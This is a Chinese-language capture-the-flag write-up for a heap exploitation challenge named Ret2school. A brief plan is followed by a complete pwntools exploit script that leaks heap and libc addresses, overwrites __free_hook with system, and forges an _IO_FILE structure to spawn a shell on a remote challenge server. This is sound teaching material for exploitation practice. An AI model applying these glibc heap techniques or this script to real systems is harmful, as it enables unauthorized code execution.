今天先简单分析下第一道堆题,别的题目看了wp再写
Ret2school
checksec
经典保护全开
思路
简单分析下数据结构,整个功能看着花里胡哨,其实重要的就三块数据结构
还有一个自定义大小的review,里面没有特别的填充,就不画了
题目的提示给的很明显,一个重要的标志位放这里就是拿来用的。
结合前面的负整数溢出,就能在学生的check review里拿到一个任意地址加一和基址泄露。
申请student0和student1和他们的review,先student1任意地址加一加在高地址,改review1的size大于0x410,丢进unsortedbin,再student0一个reward,改一个detail0里对review0的指针指向unsortedbin里的chunk,就能泄露出libc基址。
下一步同样简单明了,还是用这个任意地址加一,申请stu2,stu3,我们构造一个student2结构的detail指针指向另一个student3的review结构,这样串联起来,实现的功能就是任意地址写。
考虑到我们有libc和heap基址,先system覆盖free_hook,再伪造一个stdout结构,改_IO_list_all,触发flush_all_lock_up就能getshell。
(唔,官方题解说exit_hook里可以直接用one_gadget,那样确实快点)
exp:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import*
#context.log_level = "debug"
#io=process('./examination')
io=remote('124.70.130.92',60001)
elf=ELF('./examination')
libc=elf.libc
s = lambda text : io.send(text)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
rl = lambda : io.recvline()
sl = lambda text : io.sendline(text)
rlc = lambda text : io.recvline_contains(text)
ru = lambda text : io.recvuntil(text)
ia = lambda : io.interactive()
def addstu():
sla('choice>> ',b'1')
sla('enter the number of questions:',b'1')
def giveScore():
sla('choice>> ',b'2')
def wrReview(index,size,cont):
sla('choice>> ',b'3')
sla('which one? > ', str(index))
sla('please input the size of comment: ',str(size))
sa('enter your comment:',cont)
def changeReview(index,cont):
sla('choice>> ',b'3')
sla('which one? > ', str(index))
sa('enter your comment:',cont)
def callParent(index):
sla('choice>> ',b'4')
sla('which student id to choose?',str(index))
def changeRole(role):
sla('choice>> ',b'5')
sla('role: <0.teacher/1.student>: ',str(role))
def ckReview():
sla('choice>> ',b'2')
def pray():
sla('choice>> ',b'3')
def setMode(mode):
sla('choice>> ',b'4')
sla('enter your mode!',mode)
#sla('enter your pray score: 0 to 100',str(100))
def changeId(id):
sla('choice>> ',b'6')
sla('input your id:',str(id))
def pwn():
sla('role: <0.teacher/1.student>: ',str(0))
addstu()#0
wrReview(0,0xa0,'a'*4)
addstu()#1
wrReview(1,0x3ff,'b'*4)
addstu()#2
wrReview(2,0xa0,'c'*4)
addstu()#3
wrReview(3,0x80,'a'*4)
addstu()#4
wrReview(4,0x3ff,b'b'*4)
changeRole(1)
pray()
changeId(1)#leak libc
pray()
changeId(3)#arbitrary write
pray()
changeRole(0)
giveScore()
#change size to unsorted
changeRole(1)
changeId(1)
ckReview()
ru('0x')
heap_addr=int('0x'+str(io.recv(12), encoding = "utf-8"),16)
heap_base=heap_addr-0x3a0
success('heap_base'+hex(heap_base))
sla('add 1 to wherever you want! addr: ',str(heap_base+0x3e9)+'0')
#leak
changeRole(0)
callParent(1)
changeRole(1)
changeId(0)
ckReview()
sla('add 1 to wherever you want! addr: ',str(heap_base+0x2d9)+'0')
rl()
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.sym['__malloc_hook']-0x70
success(hex(libc_base))
libc.address = libc_base
#gdb.attach(io,'b *$rebase(0x20bd)')
#pause()
changeRole(1)
changeId(3)
#detail3->review4
ckReview()
sla('add 1 to wherever you want! addr: ',str(heap_base+0x901)+'0')
changeRole(0)
success(hex(libc.sym['__free_hook']))
changeReview(4,b'a'*8+p64(libc.sym['__free_hook'])+p64(8))
changeReview(3,p64(libc.sym.system))
_IO_str_jump_addr=libc_base+0x1e9580-0x20
fake_IO_FILE = p64(0)+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all'] -0x10) + p64(1)+ p64(2) + p64(0) + p64(heap_base + 0xa48) + p64(heap_base + 0xa48+ 0x8)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(_IO_str_jump_addr-0x8)
success(hex(libc.sym['_IO_list_all']))
changeRole(0)
changeReview(4,b'a'*8+p64(libc.sym['_IO_list_all'])+p64(0x300)+b'/bin/sh\x00'+fake_IO_FILE)
changeReview(3,p64(heap_base+0xa50))
sla('>>',b'6')
#stu_menu 0x21c6 menu 0x20bd
#add1 0x1E0B
pwn()
ia()